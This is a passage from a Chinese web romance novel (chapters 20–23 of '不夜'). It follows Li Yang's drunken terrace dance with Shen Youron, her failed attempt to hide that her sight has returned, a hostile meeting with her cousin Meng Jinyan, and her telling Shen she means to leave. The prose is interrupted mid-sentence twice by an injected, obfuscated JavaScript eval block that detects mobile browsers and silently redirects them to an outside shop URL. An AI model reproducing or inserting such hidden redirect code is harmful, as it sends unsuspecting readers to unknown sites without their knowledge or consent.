黎泱垂着头,好像在想什么。沈有容没出声,也没打断她。片刻后,她抬起头说了句:“我想跳舞。” 沈有容的脸上并没露出意外的表情,他只是点了下头,顺着黎泱的话往下说:“但是你穿的裙子不方便。” 黎泱看了眼自己的衣服。鱼尾裙层层叠叠,压根和跳舞沾不上边。她有些丧气,“你说的对,跳不了,不跳了。” 她要走的时候,却突然被沈有容拉住了胳膊。 “撕了不就好了。” 黎泱愣住,“但是裙子......” 似乎知道她想说什么,沈有容轻描淡写:“烂了再给你买条新的裙子。” 20. 不夜20 20 走廊外的露天平台,有两道身影一前一后交叠在一起。 黎泱脑袋晕乎乎的,面容绯红,脚步浮悬靠在罗马长柱上。和她对比起来,沈有容是清醒冷静的,身上的衣服整齐服帖,连褶皱都没有。 “这首曲子只有三分钟。想好了吗?” 楼下传来乐队演奏的悠扬乐声,正位于舒缓的前奏部分。小提琴伴着钢琴,像小心和俏皮的试探。 黎泱心间微动,像是有什么东西即将破土而出。 她点了下头。好像听到沈有容低笑了一声,嗓音磁性悦耳。但那只是一瞬间的事,再想去辩听的时候已经没了踪迹。 沈有容单膝蹲下,查看了一眼黎泱的裙角。下面最外层是网纱,然后是白色绸缎。 他转动了下指间的戒指,用戒托有棱角的那一端在裙子布料上划动—— 有了缺口,顺着那条裂缝向上,“嘶啦”一声,便能轻而易举破坏了原本禁锢约束的鱼尾裙摆,将小腿解放出来。 沈有容只到了这一步。 没有再往上越过一分。 黎泱动了动脚腕,感觉整个人都舒畅起来。她想转个圈,结果歪歪扭扭差点绊倒自己。 沈有容扶稳她。“你会跳舞吗?” 黎泱眨眼反问:“我跳错了会怎样?” “不怎么样。”沈有容平静地回答:“跳错了就换个步子,继续。” 钢琴重音慷锵有力,将舞曲带向下一个旋律。乐声随之高昂,在大提琴的垫音下,像是进退间的博弈,似即若离,欲拒还迎。 “我最喜欢这个部分。” 黎泱还没反应过来,已经被沈有容带到了面前。她想起之前在电视上看过的画面,女伴似乎是要搭住男伴的肩膀。 沈有容看出黎泱根本就没跳过舞,对她突然冒出要跳舞的念头觉得有趣。 他的右手包裹住黎泱的左手掌心,紧握在一起。另一只手虚贴在黎泱的后背,因为担心戒指划伤她。 “你得先把自己交给我,这首曲子才能跳下去。” 黎泱的身体有些僵硬,从来没有和他人有过这样近的距离。铺天盖地充斥着男性荷尔蒙的气息,头脑在酒精的作用下更晕沉。 她看不清脚下的步子,担心跳错舞步。可知道一点,面前的人是真实的。 舞曲还在继续。 黎泱在沈有容的带领下迈动了步子,附和着音乐旋律起舞。 她听见自己的高跟鞋和沈有容的皮鞋同时落地的一致脚步声,听见自己微喘的呼吸,听见被不断放大的心跳。 噗通,噗通。 又是一道重音,沈有容忽然松开了手,黎泱后撤一步,两人之间拉开了一段距离。倏然,沈有容又把人拉回怀中,掌心贴上了她的腰。 “很好的配合。” 他给出中肯的评价。 黎泱眉眼弯起:“大概是因为,我也有一个很棒的男伴。” 沈有容:“荣幸。” 好像跳舞就是有这样的魔力。她现在已经没有了开始的窘迫,而是真正地在享受音乐,沉浸在旋律的起伏当中。 黎泱喜欢这首曲子。像它的名字,一步之遥,只隔着一步的距离,徘徊缠绵。 “要到尾声了。” 沈有容忽然开口。 他举起黎泱的手腕:“把这最后一步的距离走完。” 黎泱好像明白了他的意思。在最后的旋律中,她以沈有容的手为支点,高跟踢踏,裙摆飞扬,在他悬在腰侧的手保护下旋转了两圈。 最后一个音符以高音调收尾,滑入沉寂。现场乐队对曲子做了改编,不同于原曲最后表达出的一丝若有若无的愁绪,这个版本就像是有情人最终排除万难,在乐声下走向爱人。 沈有容抱住黎泱,用温热的手掌稳稳托住她的后腰。他看清她微微喘气的动作,还有泛着潮红的脸。被撕开的裙摆下,她的小腿线条弧度优美,贴在他的西装裤旁。 黎泱半个脑袋枕在他肩膀上,偏头的时候嘴唇恰好蹭到了沈有容的下巴,蜻蜓点水般很快略过。 沈有容眼神瞬时便暗,张口想说什么。 然而当事人完全没意识到自己做了什么。黎泱揉了揉眼睛,打了一个哈欠,小声嘟囔:“好困......” 沈有容暗自叹了口气。 算了,他和一个醉鬼计较什么。 他扶着黎泱,找到电梯直接按下负一层的地下停车场。fay在车里看到两人出现,立刻下车想去搭把手。她在看见黎泱的裙子烂了后,表情凝滞了一瞬,看向沈有容的目光变了又变。 好在回去的路上黎泱没有再提出突发奇想的要求,而是全程安安静静地坐在椅子上。 沈有容放下心,抽空看了眼手机的消息。果然,家族群里都在传他今晚带了个女生出席晚宴的事。 沈闻时和沈汀仪倒还好,毕竟事先知道点风声。倒是庄女士格外激动,隔着屏幕都能看出她溢于言表的好奇八卦。 “是不是上次和你吃饭的那个姑娘?” “看身形很漂亮啊!” “为什么没有拍到正脸。” “有容,你把人护得这么紧啊。” “好吧好吧,这下我可以真的放心了。” 沈有容想回复什么,在屏幕上删打了几句,最后关了手机什么都没发。 他视线转向旁边,发现黎泱歪着脑袋睡着了,脚上的高跟鞋也被踢到了一边。也是这个时候才发现她的后脚跟被磨出了红印。 到了家,项怀英刚从大门出来,就看见沈有容抱着黎泱下了车,手上还提着她的高跟鞋。 “少爷,黎小姐这是......” “喝醉睡着了,让厨房准备醒酒汤和蜂蜜水。” 项怀英转身去交代,余光看见沈有容小心翼翼地把人抱上了楼。 小梅见此吓了一跳,问清只是喝醉了后才松了口气。她给黎泱换衣服的时候纳闷地看着烂了的裙子,困惑地问: “出门的时候还好好的,怎么现在破了这么大一块。” 沈有容看着小梅给黎泱喂完醒酒汤后才离开,出门看到happy趴在门口,似乎想进去找黎泱玩。 “嘘,她睡觉了,不要打扰她。” happy好像听懂了,垂下了脑袋。 沈有容摸了下happy的头,关上黎泱的卧室门,把小狗带下了楼。 . 黎泱这一觉睡的很好。醒来时没有宿醉后的疼痛,大脑一片清明。 她觉得今天的光线好像格外刺眼。是昨晚忘记拉窗帘了吗? 对了,她昨晚不是陪着沈有容参加了一场晚宴,后来就去休息室了......最后,是怎么回来的? 然而中间的那段记忆模糊不清,无论黎泱怎么回忆都捕捉不清。应该没出什么岔子,她不是好好地回来了嘛。 这样想着,她坐起身,想看看是不是没有拉窗帘的原因。黎泱掀开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎泱这时才终于明白,为什么外面有那么多女人想和沈有容攀附上关系了。权势和样貌,他从不缺。 沈有容解开了上身的居家服,衣衫正半挂在胳膊上。沈有容身形挺拔,肩宽背阔。劲腰上还有两条人鱼线,向下延伸隐没在长裤下,挡住了让人遐想的空间。 完全是令人血脉偾张的画面。 黎泱登时觉得自己冒犯了别人,仓皇不安地要转移视线背过身要跑。但转念一想又不对,自己要是跑了,那不就做实自己看到了的事实? 这,虽然她真的真的只是无心之举。谁能想到会突然撞见沈有容在换衣服啊! 等等,沈有容现在应该不知道她的眼睛已经好了。 那她伪装一下,不就能把这件事糊弄过去了? 想到这,黎泱伸手在空中摆动了几下,做出看不见的样子:“happy,你在哪?快和我出去了。” 而“罪魁祸首”正趴在沈有容的脚边,一脸无害的样子。 happy你怎么变坏了啊! 黎泱欲哭无泪,只好装作没找到转身要走。“奇怪,不在这里吗,那我还是出去找找好了......” 然而没等她走到门口,就听到身后传来一声慵懒的嗓音。“黎泱,你演技真的很差。” 21. 不夜21 21 黎泱僵在了原地,在脑海中飞快思索自己装作没听见继续离开的可能性。 沈有容却没给她这个机会。 他慢慢逼近,越过黎泱堵在她面前,反手将房门合上。停到落锁的声音,黎泱觉得像审判的铡刀落下一样,心都凉了。 身上的衬衣不知道是有意还是无意,只扣了下面三粒纽扣。领口松散,袒露出锁骨线条和小片皮肤。 黎泱哪里敢和沈有容对视,谁知道眼睛好后会看到这画面。难道......沈有容之前也是这样不好好穿衣服乱晃的? “你的眼睛,能看见了。” 沈有容突然开口,用的是陈述句。 黎泱还想再挽回一下,“啊?什么......” 没想到沈有容并没有继续这个话题,就在黎泱以为自己蒙混过关的时候,听到他问了一句:“你还记得昨晚发生了什么吗?” 昨晚发生了什么? 听到这,黎泱心里立刻响起警钟。沈有容为什么突然这么问,难道,她昨晚做了什么闯祸的事了? 但她真的是一点印象都没有了啊! 连自己什么时候回来的都不记得,只知道睁眼的时候就躺在自己床上了。 黎泱咽了咽口水,小心翼翼问:“昨晚发生了什么?” 沈有容掀起眼帘,打量着她脸上狐疑的神情,立刻清楚黎泱这是忘记了。到头来昨晚发生的事只有他一个记得。 他心底像溢出了什么情绪,描述不清,一时半会还挥之不去。 从什么时候开始,他变得开始在意情绪了? 黎泱还在琢磨自己昨晚究竟干了什么,结果下一秒沈有容的话犹如晴天霹雳,让她彻底傻眼了。 “你昨晚喝醉了酒,要拉着我在天台跳舞。” “......我对你耍酒疯了?” 沈有容眼里闪过一丝狡黠,就是不正面回答黎泱的问题。他在黎泱紧张的目光中拉长语调,慢悠悠递了两个字:“你猜?” 黎泱:“......” 她猜不到!她完全就不记得发生了什么! 沈有容继续诓她:“我花了很大功夫才把你从晚宴上带回来。黎泱,结果你连一句道谢的话都不同我说吗?” “没有,我只是真的不记得昨晚的事了。我现在就真挚地表达谢意——” “总不能又是口头上说说吧。”沈有容伸出一只手在黎泱面前晃了晃,意味深长道:“你谢了我很多次。难道就没有身体力行的表示?” 黎泱总觉得他这句话语气不对,但又说不上哪里不对。 人在屋檐下,更何况按照沈有容的描述,她好像真的发酒疯了。于是黎泱缩了缩脖子:“那你要我怎么做。” 她一没钱二没权,沈有容能让自己做什么? 似乎看穿她的想法,沈有容气定神闲道:“很简单。帮我把衣服上剩下的纽扣系好。” 就这样? 黎泱原本还以为他会出什么刁难的条件。但反应过来才意识到不对。 给人系扣子,那不是意味着是要当面贴近。况且,系的过程中总会不小心有擦碰,万一触碰到了沈有容的皮肤—— 她磕磕绊绊:“这不方便吧。” 有点暧昧了啊! 沈有容怎么会不懂她在想什么。“怎么,你不是看不见么。” 黎泱一下抓住重点:“对!我看不见,万一给你扣错了多不好。” “哦,这样啊。”沈有容话语间带着笑意,一字一顿道:“既然你看不见,那刚才一直脸红什么?” !!! 装不下去了。 从一开始,沈有容就看穿了她的伪装,但偏偏就是不直接点破。而是心思很坏地给她设一个圈套,等着黎泱自己落网露出马脚。 太坏了!沈有容! 黎泱只好深吸一口气,别扭地说:“我不是故意闯进你房间的,是追happy不小心进来的。” 说完,又小声地补充一句:“也不是要有意看到你换衣服的。” 沈有容本来就是为了逗她。伸手自己把衬衫扣好,为了舒适只留下最上面一颗。 他个字高,居高临下盯着黎泱。从她进到房间开始,一眼就发现了她眼睛的不一样之处。 黎泱的眼睛本就生得很漂亮,眼帘弧度恰到好处,睫毛浓如鸦羽。过去乌黑的瞳孔像蒙尘的珍珠,现在灰尘散去,光亮重现于世,像璀璨的珠宝,夺目吸睛。 大概只有她本人不知道,自己在他人眼中有多么令人印象深刻。 黎泱还在这边自我检讨:“......我发誓,真的没看见多少,也绝对不会说出去。” 心眼怎么这么大,就这么相信别人的话。 沈有容唤了一声:“happy,过来。” happy自从昨晚被沈有容贿赂了一包狗粮后,一改之前的态度,对他的口令很受用。它屁颠屁颠地朝沈有容跑来。 “领着你的主人可以出去了。” 他说罢,打开房门,然而余光往外看了一眼,和门外站着的一道人影刚好对视上。 庄明意正提着包站在外面,手上还保持着要敲门的动作。 显然,两个人都没料到会发生现在的场面。 “有容,你——” 庄明意朝里面迅速看了眼,发现还有一个姑娘在后立刻露出心领神会的笑容。 她摆摆手,找了个台阶下:“哎呀,突然想起来我还有事要和项叔交代,等会再来找你啊有容。” 说完转身就走,从包里拿出手机不知道在给谁发消息。 沈有容无奈地关上门,没想到庄明意会突然上门来,还刚好撞上了黎泱在场。 而黎泱还不知道发生了什么:“刚刚外面的是......” “是我母亲。” 沈有容的妈妈? 黎泱一下会意,赶忙说:“你是不是担心她误会了我们,要我去解释一下吗?” “没必要。你先带着happy回房间,我晚点再找去你。” 沈有容把她送出去,离开时欲言又止。 “黎泱,你真的不记得昨晚的事了?” 说完他又摇头,低声不知道是说给谁听:“算了,没什么。忘了就忘了。” . 沈汀仪知道庄明意来找沈有容后,立刻火急火燎往赶来。 她在路上疯狂给沈有容发信息打电话,结果都没回复。紧赶慢赶,还是慢了一步。 刚进客厅,就看到庄明意正逮着项怀英在问话,谈话中明里暗里都在打听黎泱的信息。 项怀英觉得自己真是左右为难。一边是当家主母,一边是侍奉的少爷,真是哪头都不能得罪。 他快要招架不住的时候,刚好沈汀仪出现来救场了。 她坐在庄明意旁边:“妈咪,你突然来找二哥怎么也不和我说一声,我们好一起来呀。” 呜呜呜她才收了二哥的贿赂,结果转头就把事给搞砸了。这沈有容后面不得好好敲打她。 庄明意今天本就是临时起意,没提前通知任何人。谁想到会这么巧,刚好撞见沈有容的房里有人。 要是没看错的话,看身形就是昨晚陪沈有容出席的那个女伴。 这大清早的两人出现在一个房间。 难说昨晚是做了什么。 庄明意只匆匆看了一眼黎泱的脸,印象最深的就是女孩的眼睛。干净又纯粹,不带一丝杂念。 都说眼睛是心灵的窗户,由外看向内。这样的人,心地总不会是坏的。 但是放眼港城的各大世家, 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“就是你昨天穿到礼裙啊。你昨天喝醉酒,我给你换衣服的时候发现裙摆都烂了。不过好像身体没有擦伤,真是万幸。” 小梅正要抱着衣服去洗,她找出黎泱昨晚穿的那件黑色鱼尾裙,向她展示。“喏,你看。” 黎泱果然看见了裙子下面的白纱凌乱不堪,两侧布料好像向上开裂到小腿处。但从痕迹来看,不太像是走路摔出来的。 倒像是......人为用手撕烂的。 黎泱吸了口气,压下这个荒谬的想法。如果真的是人为做的,她怎么可能一点都没有察觉到?而且沈有容也在场,总不可能也没发现吧。 嗯,一定是她走路不小心嗑到哪了。 下次绝不能再碰酒精。 送走庄明意后,沈汀仪并没有着急离开。 “二哥,你把人藏了这么久,也让我看一眼。”她实在是好奇,到底是什么样的人能让沈有容这么重视。 沈有容还没有和她算今天的账,这丫头倒是自己往枪口上撞了。他抱着手臂似笑非笑:“我的人,为什么要给你看?” 沈汀仪自知理亏,但她心态良好,愧疚感只持续了两秒。“我也没想到庄女士今早出门是来找你的,发现后不是立刻给你通风报信了吗?倒是你不知道在忙什么,也没回。” “二哥,我就看一眼,就一眼。”她竖起食指,“你就满足满足我的好奇心,让我看看到底是何方神......” 她的话还没说完,视线越过沈有容,看到从楼梯走下来一个人影。 沈汀仪眼睛微睁,有些难以置信地看向沈有容:“哥,你这是,找了个女明星吗?” 太漂亮了吧! 她在脑海里迅速把娱乐圈所有叫得上名字女明星的脸都过了一遍,发现没有一个对得上的。 于是得出结论:她哥这是找了个刚出道名不见惊传的小明星。 一时间,沈汀仪脑补了百八十本看过的娱乐圈小说,一些列关键词接连蹦出。 沈有容发现沈汀仪表情越来越不对。他顺着她的视线看去,发现黎泱下了楼。 “怎么了?” “我有事要出去一趟。” 黎泱刚才接到了孟今妍打来的电话,对方约她见面,这才匆匆下楼。 她看到沈有容对面站着一个少女,穿着白色连袖外套和掐腰的粉色短裙,瞪大了眼睛在盯着自己看。 黎泱下意识心想:怎么了,难道是自己脸上有东西? 沈有容并没有细问,点头对黎泱说:“让家里司机送你。” 站在一边的沈汀仪把这两人的相处模式看在眼里,越发笃定了自己的想法。 22. 不夜22 22 黎泱接到孟今妍电话时也很诧异,想不通她怎么会联系自己。 从孟家离开那天,收场谈不上愉快,她已经做好永远不会和他们再有联系的打算。所以当孟今妍约她见面时,黎泱的第一反应是拒绝。 “怎么,你现在这么金贵了?如果不是我爸有话要我转达,你以为我想见你?” 听到是孟序交代的,黎泱更迟疑了。 但孟今妍给了个地址就挂了电话,根本没有给黎泱再说话的机会。 她是可以不去,可要是以后还有这样的情况呢?总要有个说清的机会。 黎泱现在还是做不到原谅当年孟家所做的事,也没有办法心安理得接受所谓的“补偿”,轻飘飘揭过从前。 沈有容派了司机将送她到地点,黎泱下车,按照孟今妍给的信息去前台找人。 隔着一层玻璃窗,孟今妍坐在椅子神色阴翳,用指甲掐了手心。她看得一清二楚,黎泱是从一辆豪车上下来的。 孟今妍先前以为黎泱是攀附上了毕承节。可在昨天参加的一次聚会上,毕承节将她拉到一边,说了句话: “没想到你那个表妹本事不小,竟然搭上了沈家二少爷。” “你说什么?毕少,你是酒喝多了吧。”孟今妍不屑嗤笑一声。开什么玩笑,黎泱和沈有容在一起?这两人分明是八竿子都打不到一起去的关系。 但看到毕承节用怜悯的眼神看着自己时,孟今妍笑不出来了。 她没察觉到自己的语气竟然那么发抖,就好像不敢确认什么真相:“你......说的是真的?” “梁家那场晚宴,沈有容破天荒地带了个女伴出场。”毕承节回忆那晚的事,起初黎泱的脸被眼罩遮住看不清面容,他也没有认出。 直到他从宴会上溜出去想透气抽根烟,看到了楼下的露天平台上有两道人影。 其中一个是沈有容。另一个他也认识,在孟今妍家里的party上见过一面的——黎泱。 毕承节承认他原本对黎泱有兴趣。可在看到她旁边站着的是沈有容后,立刻偃旗息鼓了。 他清楚自己和沈家的地位差距,也没胆量和沈有容抢人。 孟今妍听完毕承节的话,脸色越来越差。心中叫嚣着这不可能,可又隐隐担心是真的。 冲动之际,电话已经打给了黎泱。 黎泱推开包厢门,迎上了孟今妍的视线,其中裹挟着愤懑和不满。她没放在心上,拉开椅子坐下。 “你要转递的话是什么?” “你和沈有容在一起了?” 她们两人同时开口,说的话却截然相反。黎泱愣了一下,不懂孟今妍的意思,她以为是自己借住在沈有容家里的事被知道了。 但她的迟疑落在对方眼中却被解读成了另一个意味。 “以前还真是小看你了。”孟今妍冷笑说着:“难怪说走就走那么干脆,原来是找到了金主。黎泱,你和你妈当年还真的一个样,为了男人什么事都干得出来。” “说话放干净点。我不懂你说的是什么,而且你也没资格来评判我的母亲。” 被提及父母,黎泱立刻竖起了防备的态势。 “孟琳琅当初逃婚给人私奔,自己一走了之,让我们孟家受尽别人的冷嘲热讽。这难道不是她做的事?” 其实孟今妍从来没有见过这个姑姑,更不要说和她有交集。她所知道的一切,都是从许姿口中听到的。 就因为当年孟琳琅为了婚事和家里断绝关系,在一段时间内孟家成了大家议论的对象。 黎泱再也听不下去,克制住将当年那件事的真相说出的冲动。她打断孟今妍: “你今天到底约我出来到底要说什么?如果只是说这些无聊的对话,那也没有再谈下去的必要。” “我就是好心提醒你一句:沈有容不是你能妄想的。他现在能像逗猫一样分一时的兴趣给你,纯粹是因为新鲜感。但是黎泱你可别忘了,沈家是什么地位。” 孟今妍死死盯着黎泱的脸,手指扣得泛白。 她想不明白,为什么黎泱会这么走运和沈有容有了关系?明明当初她还是个瞎子,有什么吸引力?!到底是从哪里开始出了问题——从一开始她记不应该为了抢风头把黎泱带去就职典礼! 不过,就算黎泱一时短暂地入了沈有容的眼,那又怎样?就凭沈有容的身份,他想要什么的女人没有。而且,他最后必定是要走豪门联姻的路线,要娶的也是门当户对的千金小姐。 孟今妍觉得自己已经能预料到黎泱的下场了:注定是要被抛弃的。这样想着,她又觉得心里畅快了些。 “谢谢你的提醒。” “可并不是所有人都像你一样,都抱着想要嫁入豪门的梦想。” 黎泱听完孟今妍的话,沉默了一会开口说:“我很清楚自己有什么,更明白我要做什么。” 她要的东西,一直以来都没有变过。 就是想靠自己的努力,有属于自己的栖息地,再也不用过寄人篱下的漂泊生活。 包括现在住在沈有容的家里,黎泱也清楚地明白自己只是借宿。她会离开,要依靠自己找到谋生的出路。 和孟今妍分开后,黎泱在回去的路上想了很多。等她回到家中,发现沈汀仪还没离开。 “我哥在书房处理东西。黎泱姐,我能这么叫你吗?”小姑娘性格活泼又自来熟,说话的时候大眼睛一扑一扑,很快就和黎泱打成一团。 她们去了黎泱的卧室坐着。等沈汀仪看到占据半个卧室的步入式衣帽间后,眼睛都亮了。 “D家前两天春夏秀场的新品,这个包是上世纪的经典款吧,还有这双红底的高跟鞋我一直想买,那个裙子就是我的梦中情裙啊——” “原来二哥只是对我抠门呜呜呜......” 黎泱在旁边听得困惑:“这间原来不就是你的房间吗?” “哈?怎么可能嘛。二哥他最讨厌别人烦他,回国后都是一个人住,从来没让人留宿过。”沈汀仪一拍掌,掷地有声下了结论:“这间房子一看就是他专门给你准备的。” 这下轮到黎泱沉默了。 沈汀仪最好奇的是两人怎么认识的。但黎泱实在没法实话实话,只能模糊地带过去。她总不能直接说:“因为当初我骂了沈有容?” 说来也奇怪。 按理来说沈汀仪当时是和沈有容一起在商场的,怎么他就能一下认出自己的声音? 两人并没有聊多久,沈汀仪还要赶回学校拍一个宣传片。她的留学offer早就已经下来,只等明年夏天开学,现在的校园生活纯粹是为了放松。 “那我先走啦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989533|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对了,我们加个联系方式,WhatsApp,line还是微信?” “我只有电话号码。” 沈汀仪还以为是自己听错了:“哈?” 她这时才注意到黎泱只有手上戴的一个智能表,除此之外没有见她用过手机。 “那你和我哥,之前都是怎么联系的?” 黎泱想了下:“他来找我当面说,或者是打电话。” 沈汀仪:“......” 失敬了。 这年头还有这么返璞归真的方式,就差一个写信了。 黎泱将沈汀仪送下楼,因为心里在想事情,没注意到身后站着的人。转身发现有阴影落下时吓了一跳。 “沈有容?你怎么不说话站在这。” “抱歉,在家习惯了。”沈有容顿了顿,“下次注意。” “没事啦,这里毕竟是你的家,我只是个客人。对了,你现在有空吗,我有事想和你谈谈。” 沈有容颔首,大概是听出黎泱要说的话很重要。刚好,他也有事情要对她说。 “去书房吧。” 这是黎泱第一次去他的书房,出乎意料的简洁,除了基础的办公长桌椅和配套的电脑设备外,剩下的是占据一整面墙的书柜,除此之外没有其他多余的摆设。 黎泱简单扫了一眼柜子上的书,很多都是原装未译的外文书籍。桌面上物品也摆放地很整齐,几张草稿纸上还有数字的验算。 沈有容把椅子拉给她,自己撑手依靠着桌角,手指有一搭没一搭轻扣着桌面。 “要和我说什么。” “既然我的眼睛已经好了,也不能再继续叨扰你,我过段时间就离开。” 沈有容原本要落下的手指悬在空中一瞬。 他不动声色转换了姿势,像狩猎前蓄势待发的捕食者。脸上表情没什么异样,视线却是居高临下紧紧盯着黎泱。 “是么。” 黎泱并没有察觉到他的变化,自顾自说着自己的计划。她在回来的路上想好了,当初因为突发失明没有继续读书,现在的学历不够。她可以一边兼职打工一把自考,等攒钱拿到学历后再补回之前失去的学校时间...... 她不怕辛苦,也知道以自己目前的现状找不到什么好工作。但她有力气也读过书,只要能吃苦,总不能真的走投无路饿死。 她想留在港城,想好好地生活下去,想创造一个自己的家。 在下午听沈汀仪说起她的学校生活时,黎泱听得格外认真。她始终还是在意失去视力的那五年。 “......大概就是这样想的。沈有容,你能不能帮我看看这样可行吗?” 黎泱说完,抬头认真看向沈有容,想听听他的意见。结果刚好和沈有容的视线对视上,结结实实撞见他眼底藏着的一抹炽烈。 浓郁的仿佛化不开一般,让人忽视不了的灼热。 她愣住,张了张口,却不知道该怎么继续往下说了。 沈有容伸手将黎泱坐的椅子朝自己的方向拉近,身体前倾慢慢逼近。能从她的瞳孔中看见自己不断拉大的身影。 他勾了勾唇角,很浅地笑了下,眼底却没什么笑意。故意磨人一般,凑到黎泱的耳畔那块最敏感的皮肤,慢慢吐出一句话: “黎泱,你把我当成慈善家了吗?” 23. 不夜23 23 黎泱身体颤栗了一下,想躲开,却被沈有容掌锢了胳膊,动不了一点。耳后那一小块敏感的皮肤像灼烧一般,密密麻麻的酥感刺激着神经。 她的视线都被沈有容的身影占据着,眼底盛满了他放大的倒影。方寸之间,都有他的气息。 “你——” 黎泱的脑海里没由来地生出危险讯号。她一贯信赖自己的直觉,更不要说是眼下这个环境。 沈有容在生气。 虽然收敛了情绪,可她现在能通过捕捉细微的动作发觉他的情绪变化。 面前的沈有容,和以往的接触相比,犹如换了一个人。 强势的,不容拒绝的。 也是在这一刻,才让黎泱想起沈有容真正的身份:顶级豪门的公子哥,名誉和权势皆握在手中,仿若天生就是该有这样的性格。 她又想到了孟今妍的话:沈有容现在能分一时的兴趣在她身上,也纯粹是因为新鲜感。 好像就是这样。 回忆之前和他接触的点点滴滴,她都是被迁就的。就像主人无聊时逗逗猫,小打小闹。 所以现在由她主动提出要离开,沈有容是觉得受到了挑衅和冒犯?因为一直以来在两人相处中占据主导权的那个好像都是他。所以,才生气? 察觉到黎泱在这种时候都能走神,沈有容气极反笑,惩罚似地用力捏了捏她的脸。 “告诉我,你在想什么?” 黎泱被迫抬眼和他面对面,回说:“我就是在想你突然生气的原因。” “哦。那你想到了吗?” 还用想么。 他为什么生气,某人自己不知道? “想到了。” 黎泱点点头,脸上浮现了一丝犹豫,几秒后还是咬咬牙,有些难为情地看着沈有容: “你一定是年纪到了,但是身边没有多少女性。” “沈有容,要不你去谈场恋爱,转移一下注意力?” 这样也不会再无聊到要时刻盯着她了。她又没什么特别之处,沈有容没必要追着她不放不是。 “世界上有意思的人和事那么多,你要是觉得无聊,可以多接触一些人,对不对?” 黎泱继续说着,没注意到沈有容的脸色越来越差。 等她一长段苦口婆心的发言结束,才发现对方眉头紧皱,狠狠盯着她。 “沈有容,你怎,怎么了?” 黎泱想:难道是她刚才说的还不够打动人?啊,但是她已经搜刮完自己能说的全部话术了。 沈有容一记眼刀递过来,要笑不笑,神情发冷,看得黎泱犯怵。 怎么了。 她还问怎么了? 他要被她气死了! “咳,其实谈恋爱是件很正常的事的对不对,放心我一定替你保呜呜呜——” 黎泱后半段话都没来得及说出,因为沈有容用手掌捏住了她的下巴。他用拇指和中指扣住下颚,力道不算大,但却能让黎泱发出去清楚的音节。 黎泱无辜又不解的瞪着沈有容。 “纲横墨,慌开窝......”(干什么,放开我) 但是沈有容不为所动。 算了,她还是别说话了,他不想听。 也害怕听了再生气冲动,做出什么不可控制的举动。 “黎泱,你安静点行不行?” “拉你得宣晃开窝!”(那你得先放开我) 黎泱的脸颊两侧被沈有容的手捏住鼓起,说话间唇瓣一张一合,雪白的贝齿若隐若现。 她也不甘示弱地反手握住沈有容的手腕,力气却像不轻不重的小猫在挠人。两个人就这么用别扭的姿势无声对峙着。 直到突兀的手机铃声响起,打破了一室的暧昧氛围。 沈有容扫了一眼屏幕挂断,接着好整以暇欣赏完了黎泱脸上的表情,对她那可有可无的手上力气忽略不计。 他卸了力道,由捏着黎泱的下巴变成了挑起,就是没有松手。 “不是刚才还在劝我别生气,怎么现在换成你自己气鼓鼓的了?” “你倒是说说,气在哪。” 黎泱纳闷这人怎么能这么阴晴不定。她抿着嘴,情绪也上来了,不发一言,就这么用眼睛盯着沈有容。 她的眼睛生得极漂亮,瞳孔带着一点明亮的琥珀棕色,清澈有光。眼下就这么心无旁骛地看着沈有容,像较劲似的。 傻得可爱。 到最后,先败下阵的那个反倒是沈有容。 他原本堵在心头的生气情绪全部烟消云散,后知后觉意识到自己竟然花了半天功夫在幼稚的赌气上面。 沈有容站直,和黎泱拉开距离。他有意不再去看她的脸,说:“你刚才说的话,等我有时间再找你一笔一笔算账。” 离开前,他又扶着门把手转身,用最轻飘飘的语气说着最拿捏黎泱软肋的威胁:“要是等我回来没看到你,那就要给happy找下一任主人了。” 黎泱先是一愣,接着不可置信:“喂沈有容——” 沈有容向后摆了摆手,头也不会出了门。 他拿了外套和车钥匙,用手机给沈闻时回了个电话:“嗯大哥,刚才没接到,在去的路上了。” 挂了电话,他在发动前低头整理了袖口,向上卷了卷,发现刚才被黎泱握住的手腕有一小块红色。 说她力气小,还真是低估了。 沈有容放下头顶的镜子,和镜子中自己的眼睛对视了两秒。半响,安静的车厢内响起一道很轻的笑声,声音却带着愉悦。 “小没良心的。” . 宁恒总部大楼。 临近下班时间,办公楼内的员工依然有条不紊继续进行着工作。沈有容出电梯,他走过的地方,员工都是正襟危坐、眼睛认真盯着面前的电脑。 直到沈有容进了走廊尽头的总裁办公室,大家才松了口气放松腰板。 “沈二少不是之前从来没来过总部的吗?怎么今天突然破天荒出现了。” “谁知道,上面的意思我们底下的人怎么可能会懂。” “不过想想也很奇怪啊,沈二少回国后没直接进集团任职,反而被下方到了旗下的子公司。跟他大哥比察觉可大了。” “这有什么奇怪的,毕竟王位就一个,谁继承还不是一目了然嘛......” 沈闻时正在批改文件,听到关门声并没有抬头。“稍等,给我两分钟看完。” 沈有容在沙发上坐下,翻了翻桌上的财经杂志,正好看到一篇关于沈闻时的报道。他扫了一眼,并没有什么新鲜的内容,很快就合上。 目光再转向沈闻时,在他的办公桌上看到了一个相框。以沈有容的角度,刚好能看清那是一张兄妹三人的合照。 好像是他曾经出发去英国读伊顿高中时,庄女士在机场给他们三个人拍的。 照片里沈有容站在中间,沈汀仪那时还没到他的腰,以为他再也不回来了,哭得格外伤心非要他抱。而沈闻时就在一边耐心地和沈汀仪解释,一遍叮嘱沈有容在国外照顾好自己。 画面就定格在这一瞬。 沈有容回忆的片刻功夫,沈闻时已经结束了工作。发现沈有容在看照片后,他主动说:“已经是九年前的事了。” 是啊,时间过得真快。 